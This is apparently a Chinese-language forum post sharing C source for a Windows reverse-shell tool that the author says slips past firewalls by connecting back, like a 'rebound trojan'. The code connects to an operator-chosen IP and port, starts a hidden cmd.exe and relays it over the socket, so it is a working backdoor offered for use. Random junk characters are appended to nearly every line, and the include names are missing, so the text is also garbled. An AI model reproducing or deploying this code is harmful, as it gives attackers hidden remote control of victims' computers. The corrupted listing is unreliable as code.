这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <00=bZzX
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/* ============================== mRxeob
Rebound port in Windows NT ^,`]Q)P^
By wind,2006/7 4hkyq>c}
===============================*/ <s$Jj><
#include j_z@VT}y
#include E,Xl8rC
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#pragma comment(lib,"wsock32.lib") }-Jo9dNs
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void OutputShell(); ;
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SOCKET sClient; 0#~k)>(7lR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h\+8eeIl
Y3SV6""y/
void main(int argc,char **argv) Z1]4:
{ #] ;ulDq
WSADATA stWsaData; Af}o/g
int nRet; ^4et;
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SOCKADDR_IN stSaiClient,stSaiServer; ]&tcocq
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if(argc != 3) (U\D7ItMG
{ .0MY$ 0s
printf("Useage:\n\rRebound DestIP DestPort\n"); pdjRakN
return; Y&bO[(> 1
} (B03f$8}*_
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WSAStartup(MAKEWORD(2,2),&stWsaData); s}bLA>~Ta
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QvJ29
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stSaiClient.sin_family = AF_INET; (i1p6
stSaiClient.sin_port = htons(0); SH O&:2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~(:0&w%e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ D$E#:[
printf("Bind Socket Failed!\n"); FU;a
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return; 7\gu; [n
} o'8%5M@
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stSaiServer.sin_family = AF_INET; bH!_0+$P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q#\B}'I{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OjrZ6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >:BgatyPH
{ RMdU1@
printf("Connect Error!"); '}-QZ$|*
return; 9WV8ZP
} F)@zo/u5L
OutputShell(); *e:2iM)8~
} VKg9^%#b`[
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void OutputShell() b;NV vc(
{ D}UgC\u
char szBuff[1024]; 1K'cT\aFm
SECURITY_ATTRIBUTES stSecurityAttributes; "~Zdv}^xS
OSVERSIONINFO stOsversionInfo; :)h4SD8Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZP-9KA$"
STARTUPINFO stStartupInfo; \tCK7sBn
char *szShell; x'SIHV4M@Q
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; !(3[z>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0wAB;|~*62
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =5uhIU0O
stSecurityAttributes.lpSecurityDescriptor = 0; *xpPD\{k
stSecurityAttributes.bInheritHandle = TRUE; yh).1Q-D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^ (J%)&_\3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Nz%pl!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B[2t.d;h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ce719n$
stStartupInfo.wShowWindow = SW_HIDE; l_,6<wWp
stStartupInfo.hStdInput = hReadPipe; Mgu9m8
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;ZkY[5
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GetVersionEx(&stOsversionInfo); %=V"
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switch(stOsversionInfo.dwPlatformId) p0}Yo8? OW
{ RN;#H_
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case 1: $>Ow<!c
szShell = "command.com"; `>RM:!m6=$
break; Kek%io
default: tCGA3t
szShell = "cmd.exe"; P2U4,?_e
break; ?}EWfsA
} S&;)F|-q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "chf\-!$
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send(sClient,szMsg,77,0); a
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while(1) g;:3I\ L
{ ^;?w<9Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SCfk!GBVD
if(lBytesRead) ETR7%0$r
{ S(rnVsW%Ki
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B}aW y &D
send(sClient,szBuff,lBytesRead,0); T8x /&g''
} cBHUa}:
else K)h<#F
{ #W8c)gkG9
lBytesRead=recv(sClient,szBuff,1024,0); %{me<\(
if(lBytesRead<=0) break; %O{FZgi%wA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uVXn/B
} vY[u;VU
} W&m3"~BJ
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return; WMFn#.aY5
}